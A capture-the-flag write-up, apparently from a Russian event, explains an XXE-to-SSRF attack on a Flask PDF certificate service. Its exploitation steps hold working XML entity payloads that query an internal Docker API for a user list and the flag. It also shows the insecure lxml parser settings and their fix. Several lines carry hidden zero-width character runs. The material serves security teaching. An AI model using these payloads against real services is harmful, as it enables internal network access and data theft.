← Back to Writeups
CUSTOMMediumWeb

Print on Demand (Печать по запросу)

XESXOR9/2/20264 min read
#web#custom#medium#docker_service_discovery#xml_entity_injection#xxe_to_ssrf

Print on Demand (Печать по запросу)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: docker_service_discovery, xml_entity_injection, xxe_to_ssrf

Summary

Walkthrough of the CUSTOM Web Print on Demand (Печать по запросу). Task: Flask web app generating PDF certificates from user-supplied XML with an internal API holding the flag. Solution: Exploited XXE via insecure lxml parser (no_network=False, resolve_entities=True)

Overview

PropertyValue
EventDUCKERZ CTF
Task ID139
CategoryWeb
DifficultyMedium
Points250
Targethttp://tasks.duckerz.ru:30023
FilesprintOnDeman.zip

Challenge Description:

"Наконец то выпустили сайт где можно создавать сертификаты на все случаи жизни, я так его ждал!" (Finally released a site where you can create certificates for all occasions, I've been waiting for it!) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

Application Architecture

The provided source code revealed a Flask web application with the following architecture:

  1. Main Web Application - Public-facing certificate generator

    • Accepts XML input for certificate data
    • Generates PDF certificates from XML
    • User registration/login system
  2. Internal API Service (printondemand-api) - Not publicly accessible

    • /list - Returns list of users with their UUIDs
    • /get_flag?uuid=XXX - Returns flag if UUID belongs to admin user ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Configuration Discovery

XML Parser Configuration (main.py):

python
parser = etree.XMLParser(
    load_dtd=True,        # Allows loading external DTDs
    resolve_entities=True, # Resolves XML entities
    huge_tree=True,       # Allows large XML trees
    no_network=False      # CRITICAL: Allows network requests!
)

Port Discrepancy:

  • main.py referenced port 8080
  • Dockerfile defined ENV PORT=8000 - actual runtime port

This discrepancy was crucial - using the wrong port would cause exploitation to fail. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Analysis

XXE (XML External Entity) Injection

The XML parser configuration creates a classic XXE vulnerability:

  1. load_dtd=True - Allows DOCTYPE declarations with external DTD loading
  2. resolve_entities=True - Processes entity references in XML
  3. no_network=False - Enables network requests from XML entities

Combined with a custom HTTPSResolver that allows HTTP/HTTPS requests, this creates an XXE-to-SSRF attack chain.

Attack Vector

User Input (XML) -> XXE Entity -> SSRF to Internal API -> Data Exfiltration via PDF

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability allows:

  • Reading internal service responses
  • Accessing Docker internal network services
  • Exfiltrating data through the generated PDF certificate

Exploitation

Step 1: Initial Setup

Register an account and login to access the certificate creation functionality.

Step 2: Enumerate Internal Users

Upload XML payload to retrieve user list from internal API:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE certificate [
  <!ENTITY xxe SYSTEM "http://printondemand-api:8000/list">
]>
<certificate>
    <recipient>&xxe;</recipient>
    <course>Test</course>
    <date>2025-01-15</date>
    <issuer>Test</issuer>
</certificate>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response in generated PDF:

json
[{"uuid": "550e8400-e29b-41d4-a716-446655440000", "name": "admin"}, ...]

Step 3: Retrieve Flag

Using the admin UUID, craft final payload:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE certificate [
  <!ENTITY xxe SYSTEM "http://printondemand-api:8000/get_flag?uuid=550e8400-e29b-41d4-a716-446655440000">
]>
<certificate>
    <recipient>&xxe;</recipient>
    <course>Test</course>
    <date>2025-01-15</date>
    <issuer>Test</issuer>
</certificate>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extracting the Flag

Download the generated PDF and extract text:

bash
curl -o certificate.pdf "http://tasks.duckerz.ru:30023/download/..."
pdftotext certificate.pdf -

Lessons Learned

Key Takeaways

  1. Always Check Dockerfile Configuration

    • Runtime configuration (ENV variables) may differ from source code defaults
    • Port 8000 was set in Dockerfile, not 8080 as referenced in main.py
  2. XXE with Network Access = SSRF

    • no_network=False in lxml XMLParser enables external entity resolution over HTTP/HTTPS
    • Combined with resolve_entities=True, this creates a powerful SSRF primitive ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  3. Docker Service Discovery

    • Docker Compose service names are resolvable as hostnames within the same network
    • printondemand-api was accessible by service name from the main container
  4. Data Exfiltration via Application Features

    • The PDF generation feature became the exfiltration channel
    • Entity content was rendered directly into the certificate

Secure Configuration

To prevent this vulnerability:

python
# Secure XML parser configuration
parser = etree.XMLParser(
    load_dtd=False,
    resolve_entities=False,
    no_network=True
)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Indicators for This Attack

Use this technique when you see:

  • XML input processing with lxml/etree
  • resolve_entities=True or no_network=False in parser config
  • Internal microservices architecture (Docker Compose)
  • PDF/document generation from user-controlled XML ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering docker_service_discovery, xml_entity_injection, xxe_to_ssrf was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-15 • CUSTOM • Print on Demand (Печать по запросу) • Difficulty: Medium